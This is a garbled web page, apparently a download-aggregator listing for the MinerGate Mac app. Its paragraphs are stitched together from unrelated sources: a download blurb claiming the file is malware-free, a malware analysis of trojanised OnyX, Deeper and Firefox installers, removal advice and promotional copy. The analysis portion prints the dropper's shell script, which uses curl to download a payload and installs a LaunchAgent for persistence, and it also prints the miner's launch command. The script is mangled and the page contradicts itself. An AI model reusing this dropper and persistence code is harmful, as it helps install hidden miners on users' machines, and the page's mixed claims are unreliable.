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Minergate Mac Download


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Minergate Mac Download



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MinerGate 1.7 for Mac is available as a free download on our application library. Minergate-4.06-mac.dmg is the default file name to indicate the MinerGate installer. The latest installation package takes up 11.8 MB on disk. This free Mac application is a product of MinerGate. The program lies within Business Tools, more precisely Finances. This Mac download was scanned by our antivirus and was rated as malware free. The most popular version of the application is 4.0.


Both OnyX and Deeper are products made by Titanium Software (titanium-software.fr), but the site was changed maliciously to point to download URLs at titaniumsoftware.org, a domain first registered on January 23, and whose ownership is obscured. The fake Firefox app was distributed from download-installer.cdn-mozilla.net. (Notice the domain ends in cdn-mozilla.net, which is definitely not the same as mozilla.net. This is a common scammer trick to make you think it's coming from a legitimate site.)


The downloaded files are .dmg (disk image) files, and they look pretty convincing. In each case, the user is asked to drag the app into the Applications folder, as would the original, non-malicious .dmg files for those apps.


Once the application has been installed, when the user opens it, it will download and install the payload from public.adobecc.com (a legitimate site owned by Adobe). Then, it attempts to open a copy of the original app (referred to as a decoy app, because it is used to trick the user into thinking nothing's wrong), which is included inside the malicious app.


The "script" file inside the app takes care of opening the decoy app, and then downloading and installing the malware.open Deeper.appif [ -f /Library/mdworker/mdworker ]; thenkillall Deeperdelsenohup curl -o /Library/mdworker.zip content_disposition=attachment && unzip -o /Library/mdworker.zip -d /Library && mkdir -p /Library/LaunchAgents && mv /Library/mdworker/MacOSupdate.plist /Library/LaunchAgents && sleep 300 && launchctl load -w /Library/LaunchAgents/MacOSupdate.plist && rm -rf /Library/mdworker.zip && killall Deeperd &fiFor those who can't read shell scripts, this code first attempts to open the decoy Deeper.app, which will fail since the wrong decoy was included by mistake. Next, if the malware is already installed, the malicious dropper process is killed, since installation is not necessary.


If the malware is not installed, it will download the malware and unzip it into the user's Library folder, which is hidden in macOS by default, so most users wouldn't even know anything had been added there. It also installs a malicious launch agent file named MacOSupdate.plist, which recurrently runs another script. Label MacOSupdate ProgramArguments sh -c launchctl unload -w /Library/LaunchAgents/MacOS.plist && rm -rf /Library/LaunchAgents/MacOS.plist && curl -o /Library/LaunchAgents/MacOS.plist content_disposition=attachment && launchctl load -w /Library/LaunchAgents/MacOS.plist && /Library/mdworker/mdworker RunAtLoad When this launch agent runs, it downloads a new MacOS.plist file and installs it. Before doing so, it will remove the previous MacOS.plist file, presumably so it can be updated with new code. The version of this MacOS.plist file that we obtained did the real work.sh -c /Library/mdworker/sysmdworker -user walker18@protonmail.ch -xmrThis loads a malicious sysmdworker process, passing in a couple arguments, one of which is an email address.


That sysmdworker process will then do the work of mining the Monero cryptocurrency, using a command-line tool called minergate-cli, and periodically connecting to minergate.com, passing in the above email address as the login.


There are multiple takeaways from this. First and foremost, never download software from any kind of "download aggregation" site (a site that acts like an unofficial Mac App Store to let you browse for software). Such sites have a long history of issues. In the case of MacUpdate, back in 2015 they were modifying other people's software, wrapping it in their own adware-laden installer. This is no longer happening, but in 2016, MacUpdate was similarly used to distribute the OSX.Eleanor malware.


Instead, always download software directly from the developer's site or from the Mac App Store. These are not guarantees, and can still get you infected with malware, adware, or scam software. But your odds are better. Be sure to check around to make sure the software is legitimate before downloading, but do not give full credence to ratings or reviews on third-party sites or the Mac App Store, as those can be faked.


The so-called Minergate virus might operate as a Trojan horse. Thus, it might pretend to be a useful program. For this reason, users often are tricked into installing them without suspecting anything bad. However, security experts often remind to keep away from questionable download sources to avoid malware.


Minergate has an official website. However, evil-minded people tend to take advantage of it and might spread the obfuscated versions of the program in freeware or shareware bundles. In this case, criminals can easily trick inattentive computer users into downloading miners.


However, if you have problems with automatic elimination, for instance, you cannot download security software or run a system scan, follow the guide below. Such cyber threats might prevent from using antivirus or malware removal tools. Thus, you may need to take extra steps in order to remove Minergate.


At MinerGate, people use their computers to add hashing power (strength of their computers based on hardware configuration) together with other miners globally. The software is openly downloadable, and it instantly allows users to start mining selected cryptocurrencies immediately, helping to eliminate the complexity of mining. 350c69d7ab


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